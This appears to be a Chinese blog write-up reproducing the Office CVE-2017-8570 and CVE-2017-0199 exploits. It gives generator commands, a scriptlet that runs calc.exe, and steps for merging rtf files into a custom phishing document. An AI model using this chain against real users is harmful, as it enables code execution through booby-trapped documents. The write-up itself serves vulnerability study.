Office CVE-2017-8570 复现

漏洞原理移步 SeeBug.

环境 Windows 7, Office 2010.

FreeBuf

CVE-2017-0199 的另一种利用方式, 通过 sct 文件执行命令, 弥补了之前系统默认禁用 hta 执行 ActiveX 的缺陷, 不过这种方式只能通过 ppsx 文件利用.

生成文档.

1
cve-2017-0199_toolkit.py -M gen -t ppsx -w test.ppsx -u http://192.168.1.1/calc.sct

sct 内容.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
<?XML version="1.0"?>
<scriptlet>
<registration
    description="fjzmpcjvqp"
    progid="fjzmpcjvqp"
    version="1.00"
    classid="{204774CF-D251-4F02-855B-2BE70585184B}"
    remotable="true"
>
</registration>
<script language="JScript">
<![CDATA[
		var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</scriptlet>

当然, 文件也能够更改为 .ppt 后缀, 但就要等到播放幻灯片的时候才能够执行 Payload.

ppt 后缀的缺点是会有一个图标, 如果直接双击它也是会执行 Payload 的.

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/20190801144721.png

可使用图片覆盖.

rxwx/CVE-2017-8570

复现时不需要搭建服务器, 直接合成 sct 就行, 这就是它和 CVE-2017-0199 最大的不同 :)

注意该漏洞只能通过 rtf 文件执行 (无法更改为 .doc 后缀).

生成文档 (sct 上文已提供).

1
packager_composite_moniker.py -s calc.sct -o test.rtf

打开文档.

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/20190801145550.png

在我这里它执行了两次.

但点击 “是” 之后 Word 会崩溃.

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/20190801145710.png

实际测试中发现在 Office 2010 更改文档内容后程序会停止运行, 而在高版本 Office 中更改后无法执行 Payload.

那么如何自定义我们的文档呢?

其实 rtf 这种格式不像一般的 doc docx 文档, 它是完全可读的, 也就是说, 我们可以通过手动编辑的方式将多个 rtf 文档合并到一起, 最后将合并后的 rtf 文档作为 Payload 去执行.

不过多个 rtf 的合并是按行而不是按页进行的, 所以在编辑钓鱼文档的时候可能就要多写一些内容.

新建文档 helloworld.rtf, 在里面任意编辑内容并保存.

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/20190801152047.png

使用编辑器打开之前生成的 rtf 文档, 复制其中的文本.

再使用编辑器打开 helloworld.rtf, 将其复制到末尾的如下位置并保存.

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/20190801152651.png

打开文档.

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/20190801152902.png

成功执行 (警告框未截图).